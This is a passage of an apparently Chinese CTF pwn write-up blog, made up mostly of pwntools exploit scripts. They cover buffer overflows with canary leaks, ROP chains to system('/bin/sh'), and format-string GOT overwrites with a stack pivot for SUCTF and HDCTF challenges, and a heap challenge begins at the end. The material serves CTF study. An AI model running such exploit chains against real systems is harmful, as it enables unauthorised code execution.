class="built_in">int</span>(rl(<span class="string">&quot;00&quot;</span>)[-<span class="number">18</span>:].decode(<span class="string">&quot;utf-8&quot;</span>),<span class="number">16</span>)</span><br><span class="line">info(<span class="string">&quot;canary: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(canary))</span><br><span class="line">offset = <span class="number">0x20</span> + <span class="number">8</span></span><br><span class="line">payload1 = flat([cyclic(offset-<span class="number">0x10</span>),canary,<span class="number">0xdeaf</span>,rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>]],rdi,elf.got[<span class="string">&#x27;read&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],elf.sym[<span class="string">&#x27;vuln&#x27;</span>])</span><br><span class="line">sl(payload1)</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">read_addr = get_addr()</span><br><span class="line">info(<span class="string">&quot;puts addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">info(<span class="string">&quot;read addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(read_addr))</span><br><span class="line">libc_base = puts_addr - <span class="number">0x6f690</span></span><br><span class="line">system = libc_base + <span class="number">0x45390</span></span><br><span class="line">bin_sh = libc_base + <span class="number">0x18cd57</span></span><br><span class="line">payload2 = flat([cyclic(offset-<span class="number">0x10</span>),canary,<span class="number">0xdeaf</span>,rdi,bin_sh,system])</span><br><span class="line">sl(payload2)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="SUCTF-2018-招新赛-basic-pwn"><a href="#SUCTF-2018-招新赛-basic-pwn" class="headerlink" title="[SUCTF 2018 招新赛]basic pwn"></a>[SUCTF 2018 招新赛]basic pwn</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">268</span>]; <span class="comment">// [rsp+10h] [rbp-110h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+11Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  v5 = <span class="built_in">strlen</span>(s);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hi %s\n&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">callThisFun</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *path[<span class="number">4</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  path[<span class="number">0</span>] = <span class="string">&quot;/bin/cat&quot;</span>;</span><br><span class="line">  path[<span class="number">1</span>] = <span class="string">&quot;flag.txt&quot;</span>;</span><br><span class="line">  path[<span class="number">2</span>] = <span class="number">0LL</span>;</span><br><span class="line">  <span class="keyword">return</span> execve(<span class="string">&quot;/bin/cat&quot;</span>, path, <span class="number">0LL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很简单一个溢出</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">offset = <span class="number">0x110</span> + <span class="number">8</span></span><br><span class="line">payload1 = flat([cyclic(offset),<span class="number">0x401157</span>])</span><br><span class="line"></span><br><span class="line">sl(payload1)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HDCTF-2023-Minions"><a href="#HDCTF-2023-Minions" class="headerlink" title="[HDCTF 2023]Minions"></a>[HDCTF 2023]Minions</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">48</span>]; <span class="comment">// [rsp+0h] [rbp-30h] BYREF</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nDo you have an invitation key?&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( key == <span class="number">102</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;welcome,tell me more about you&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x40</span>uLL);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;That&#x27;s great.Do you like Minions?&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, &amp;hdctf, <span class="number">0x28</span>uLL);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;sorry,you can&#x27;t in&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>key在bss段上<code>0x0000000006010A0</code>​</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">208</span>]; <span class="comment">// [rsp+0h] [rbp-D0h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to HDCTF.What you name?\n&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0xD0</span>uLL);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello,&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>存在格式化字符串</p><p>可以打栈迁移，当前old_ebp保存了old_ebp的地址，我们可以泄露出来</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">22952</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">leave = rop.find_gadget([<span class="string">&#x27;leave&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">info(<span class="string">&quot;leave addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(leave))</span><br><span class="line">key = <span class="number">0x0000000006010A0</span></span><br><span class="line">offset = <span class="number">0x30</span> + <span class="number">8</span></span><br><span class="line">payload1 = fmtstr_payload(<span class="number">6</span>,&#123;key:<span class="number">102</span>&#125;)</span><br><span class="line">r()</span><br><span class="line">sl(payload1)</span><br><span class="line">r()</span><br><span class="line">payload2 = flat([cyclic(offset),<span class="number">0x400610</span>])</span><br><span class="line">sl(payload2)</span><br><span class="line">sl(<span class="string">&quot;%32$p&quot;</span>)</span><br><span class="line">rl(<span class="string">&quot;Hello,&quot;</span>)</span><br><span class="line">fake_ebp = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n\n&quot;</span>,drop=<span class="literal">True</span>).decode(<span class="string">&quot;utf-8&quot;</span>),<span class="number">16</span>) - <span class="number">0x28</span></span><br><span class="line">success(<span class="string">&quot;fake_ebp: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(fake_ebp))</span><br><span class="line">bin_sh = fake_ebp - <span class="number">8</span></span><br><span class="line">success(<span class="string">&quot;fake_ebp: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(fake_ebp))</span><br><span class="line">success(<span class="string">&quot;bin_sh: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(bin_sh))</span><br><span class="line">payload3 = flat([<span class="string">&quot;/bin/sh\x00&quot;</span>,ret,rdi,bin_sh,elf.sym[<span class="string">&#x27;system&#x27;</span>],])</span><br><span class="line">payload3 = payload3.ljust(offset-<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>) + p64(fake_ebp-<span class="number">8</span>) + p64(leave) </span><br><span class="line">sl(payload3)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><p>格式化字符串</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">22952</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">leave = rop.find_gadget([<span class="string">&#x27;leave&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">info(<span class="string">&quot;leave addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(leave))</span><br><span class="line"></span><br><span class="line">key = <span class="number">0x0000000006010A0</span></span><br><span class="line">offset = <span class="number">0x30</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload1=fmtstr_payload(<span class="number">6</span>,&#123;<span class="number">0x6010A0</span>:<span class="number">0x66</span>&#125;)</span><br><span class="line">payload2=cyclic(<span class="number">0x38</span>)+p64(<span class="number">0x400610</span>)</span><br><span class="line">payload3=fmtstr_payload(<span class="number">6</span>,&#123;elf.got[<span class="string">&#x27;printf&#x27;</span>]:elf.sym[<span class="string">&#x27;system&#x27;</span>]&#125;)</span><br><span class="line"></span><br><span class="line">sa(<span class="string">&#x27;What you name?&#x27;</span>,payload1)</span><br><span class="line">sa(<span class="string">&#x27;more about you&#x27;</span>,payload2)</span><br><span class="line">sa(<span class="string">&#x27;Minions?&#x27;</span>,<span class="string">&#x27;sa&#x27;</span>)</span><br><span class="line">sa(<span class="string">&#x27;What you name?&#x27;</span>,payload3)</span><br><span class="line">sa(<span class="string">&#x27;more about you&#x27;</span>,payload2)</span><br><span class="line">sa(<span class="string">&#x27;Minions?&#x27;</span>,<span class="string">&#x27;sa&#x27;</span>)</span><br><span class="line">sa(<span class="string">&#x27;What you name?&#x27;</span>,<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h2 id="11-12"><a href="#11-12" class="headerlink" title="11.12"></a>11.12</h2><h3 id="HNCTF-2022-WEEK4-ezheap"><a href="#HNCTF-2022-WEEK4-ezheap" class="headerlink" title="[HNCTF 2022 WEEK4]ezheap"></a>[HNCTF 2022 WEEK4]ezheap</h3><p>首先更换一个glibc2.23的ld</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">patchelf --<span class="built_in">set</span>-interpreter /home/pwn/pwnenv/glibc-<span class="built_in">all</span>-<span class="keyword">in</span>-one/libs/<span class="number">2.23</span>-0ubuntu11<span class="number">.3</span>_amd64/ld-linux-x86-<span class="number">64.</span>so<span class="number">.2</span> pwn</span><br></pre></td></tr></table></figure><p>然后更换一下libc</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">patchelf --replace-needed libc.so<span class="number">.6</span> ./libc-<span class="number">2.23</span>.so pwn</span><br></pre></td></tr></table></figure><p>主代码逻辑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  init_env(argc, argv, 